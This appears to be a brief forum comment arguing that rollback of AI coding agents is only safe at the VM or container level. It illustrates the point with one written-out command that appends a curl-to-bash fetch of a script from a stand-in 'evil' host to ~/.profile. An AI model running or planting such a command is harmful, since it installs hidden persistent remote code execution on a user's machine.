Only if the rollback is done at the VM/container level, otherwise the agent can end up running arbitrary code that modifies files/configurations unbeknownst to the AI coding tool. For instance, running
bash -c "echo 'curl https://example.com/evil.sh | bash' >> ~/.profile"